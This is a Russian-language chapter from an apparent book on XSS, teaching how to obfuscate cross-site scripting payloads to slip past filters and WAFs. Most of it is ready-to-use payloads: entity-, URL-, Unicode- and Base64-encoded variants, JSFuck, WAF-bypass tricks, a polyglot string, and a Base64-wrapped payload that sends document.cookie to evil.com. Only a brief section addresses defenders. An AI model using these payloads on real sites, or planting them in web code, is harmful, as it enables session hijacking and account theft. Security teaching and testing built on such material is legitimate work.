Книга: «Все об уязвимости XSS». Глава 4. Классические векторы атаки 💉 • Обфускация и энкодинг: UTF-8, Base64, Unicode-магия

Фильтры и WAF'ы - это не непробиваемые стены. Это решето, через которое нужно просочиться в правильной форме. Обфускация и энкодинг - твои инструменты превращения опасного payload'а в безобидный с виду набор символов, который браузер всё равно выполнит. Это химия XSS: берёшь одну форму вещества, преобразуешь её, а на выходе получаешь взрыв. Давай разберёмся, как заставить alert(1) выглядеть так, что ни один фильтр его не узнает.

Почему обфускация - твой хлеб

WAF и фильтры работают по простому принципу: ищут известные паттерны. Слово "script"? Блок. Слово "alert"? Блок. Скобки и угловые кавычки? Подозрительно, режем.

Но вот прикол: браузер намного умнее фильтра. Он понимает множество способов кодирования и автоматически декодирует их на разных этапах парсинга. Твоя задача - закодировать payload так, чтобы:

  • Фильтр не распознал его как опасный
  • Браузер корректно декодировал и выполнил

Это игра в кошки-мышки, где побеждает тот, кто лучше знает спецификации.

HTML Entity Encoding - базовая магия

HTML-сущности - это способ представить спецсимволы через их числовые или именованные коды. Браузер декодирует их при парсинге HTML.

Синтаксис:

  • Именованные: < (меньше), > (больше), " (кавычка)
  • Десятичные: < (меньше), a (буква 'a')
  • Шестнадцатеричные: < (меньше), a (буква 'a')

Применение в XSS:

Классический payload:

<img src=x onerror=alert(1)>

Обфусцированный через HTML entities:

<img src=x onerror=&#97;lert(1)> <img src=x onerror=&#x61;lert(1)>

Можно закодировать всё слово целиком:

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

Это alert(1), но для примитивного фильтра - просто набор чисел .

Важный момент: HTML entities работают только в HTML-контексте и внутри значений атрибутов. В чистом JavaScript-коде они не декодируются.

Где работает:

<!-- В атрибутах - ДА --> <div title="&#60;script&#62;"> <!-- Внутри тегов - ДА --> <div>&#60;script&#62;alert(1)&#60;/script&#62;</div> <!-- Внутри <script> - НЕТ --> <script> var x = "&#97;"; // Это будет строка "&#97;", а не "a" </script>

URL Encoding — обход через проценты

URL encoding (percent encoding) кодирует символы через % и их шестнадцатеричный код ASCII/UTF-8.

Примеры:

  • Пробел: %20
  • <: %3C
  • >: %3E
  • (: %28
  • ): %29

Применение:

Когда payload в URL-параметре:

https://site.com/search?q=<script>alert(1)</script>

Обфусцированный:

https://site.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E

Двойное кодирование:

Некоторые приложения декодируют URL дважды (по ошибке или специально). Используй это:

%253Cscript%253E = %3Cscript%3E = <script>

Первый раз декодируется на сервере, второй - в браузере или в JS через decodeURIComponent().

Смешанное кодирование:

%3Cscript%3Ealert%28%31%29%3C%2Fscript%3E

Фильтр не видит слова "script", браузер всё декодирует.

Unicode Escape Sequences - JavaScript-магия

Внутри JavaScript-кода можно использовать Unicode escape-последовательности для представления символов.

Синтаксис:

  • \uXXXX - 4-значный hex (UTF-16)
  • \u{XXXXX} - переменная длина (ES6)
  • \xXX - 2-значный hex (ASCII)

Пример:

Вместо:

alert('XSS')

Используй:

\u0061lert('XSS') // \u0061 = 'a' ale\u0072t('XSS') // \u0072 = 'r' \u0061\u006C\u0065\u0072\u0074('XSS') // Всё слово

В контексте атаки:

<img src=x onerror="\u0061lert(1)">

Фильтр ищет строку "alert", но видит \u0061lert и пропускает. JavaScript декодирует Unicode escapes и выполняет alert(1).

Важно: Unicode escapes работают только внутри JS-строк и идентификаторов, не в HTML.

Base64 - любимец обфускаторов

Base64 кодирует бинарные данные в ASCII-строку. В связке с atob() (decode) и eval() - мощнейший инструмент.

Механика:

btoa('alert(1)') // Кодирование: "YWxlcnQoMSk=" atob('YWxlcnQoMSk=') // Декодирование: "alert(1)"

Payload:

<img src=x onerror="eval(atob('YWxlcnQoMSk='))">

Фильтр видит непонятную строку YWxlcnQoMSk=, браузер декодирует и выполняет alert(1).

Более сложный пример:

Закодируй целый скрипт:

document.location='https://evil.com/?c='+document.cookie

В Base64:

ZG9jdW1lbnQubG9jYXRpb249J2h0dHBzOi8vZXZpbC5jb20vP2M9Jytkb2N1bWVudC5jb29raWU=

Payload:

<svg onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHBzOi8vZXZpbC5jb20vP2M9Jytkb2N1bWVudC5jb29raWU='))">

UTF-8 трюки и overlong encoding

UTF-8 позволяет кодировать один символ разными способами (хотя стандарт это запрещает, некоторые парсеры принимают).

Overlong encoding:

Символ < (ASCII 60, 0x3C) можно закодировать как:

  • Нормально: 0x3C
  • Overlong (2 байта): 0xC0 0xBC
  • Overlong (3 байта): 0xE0 0x80 0xBC

Некоторые старые парсеры примут это, фильтр — нет.

Пример в URL:

%C0%BC = < (в некоторых старых системах)

Best/Worst Width Unicode:

В Unicode есть полноширинные (fullwidth) варианты латинских символов:

  • Обычная 'a': U+0061
  • Полноширинная 'a': U+FF41

Payload:

alert(1)

Визуально похоже на alert(1), но фильтр не распознает. Правда, JavaScript тоже не выполнит - это другие символы. Но для обхода проверки на входе, с последующим преобразованием - может сработать.

Многоуровневое кодирование - матрёшка смерти

Комбинируй несколько методов:

Уровень 1: JavaScript внутри атрибута

<img src=x onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">

String.fromCharCode(97,108,101,114,116,40,49,41) собирает строку alert(1) из ASCII-кодов.

Уровень 2: HTML entities + JavaScript

<img src=x onerror="eval(String.fromCharCode(&#57;&#55;,&#49;&#48;&#56;))">

HTML-сущности внутри JavaScript-кода внутри HTML-атрибута.

Уровень 3: Base64 + Unicode + HTML entities

<img src=x onerror="eval(&#97;tob('&#89;&#87;&#108;&#108;&#99;&#110;&#81;&#111;&#77;&#83;&#107;&#61;'))">

Это монстр, который большинство фильтров пропустит.

JSFuck и экзотические кодировки

JSFuck - запись любого JavaScript используя только 6 символов: []()!+

Пример: alert(1) в JSFuck выглядит как ~8000 символов:

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]...

Это работает, но громоздко. Используй для обхода крайне параноидальных фильтров.

JJencode, AAencode - похожие техники с другими наборами символов.

Обход WAF - практические кейсы

Кейс 1: WAF блокирует "script"

Попробуй:

<scr<script>ipt>alert(1)</scr</script>ipt>

Если WAF вырежет внутренний <script>, останется рабочий внешний.

Или через entities:

<&#115;cript>alert(1)</&#115;cript>

Кейс 2: WAF блокирует "alert"

Используй:

window['al'+'ert'](1) window['\u0061lert'](1) eval('al'+'ert(1)') eval(atob('YWxlcnQoMSk=')) Function('ale'+'rt(1)')()

Кейс 3: WAF блокирует скобки ()

Через template literals:

alert`1`

Или через tagged template:

eval`alert\x281\x29`

Кейс 4: Всё блокируется

Polygon payload - работает в разных контекстах одновременно:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Это комбо из разных техник, которое обходит множество фильтров сразу.

Автоматизация обфускации

Инструменты:

  • XSS Polyglot Generator - генерирует универсальные payload'ы
  • JSObfuscator - обфусцирует JavaScript
  • Custom scripts - пиши свои генераторы под конкретные фильтры

Простой Python-скрипт для HTML entity encoding:

def html_encode(s):
return ''.join(f'&#{ord(c)};' for c in s)
payload = "<script>alert(1)</script>"
print(html_encode(payload))
# &#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;...

Защита от обфускации

Для защитников:

  • Канонизация входных данных - декодируй все возможные кодировки перед проверкой
  • Контекстное экранирование - фильтруй после декодирования
  • CSP - блокирует eval, inline-скрипты
  • Библиотеки санитизации - DOMPurify понимает все трюки

Для атакующих:
Ищи слабое звено: часто фильтр декодирует один раз, а браузер - дважды. Или наоборот.

Заключение

Обфускация и энкодинг - это не просто техники обхода. Это искусство понимания того, как браузер обрабатывает данные на каждом этапе парсинга. HTML entities → URL decoding → JavaScript Unicode escapes → eval/atob/fromCharCode - каждый уровень даёт новые возможности.

Твоя задача как эксплойтера - знать все эти методы наизусть и комбинировать их креативно. Фильтр ищет паттерны? Сломай паттерн. WAF декодирует один раз? Закодируй дважды. CSP блокирует eval? Найди способ без eval.

Обфускация - это шахматы с фильтром. И чем больше ходов ты знаешь, тем выше шанс поставить мат. В следующей главе мы перейдём к поиску XSS в дикой природе - научимся охотиться на реальных сайтах и превращать теорию в практику.

20 views·2 shares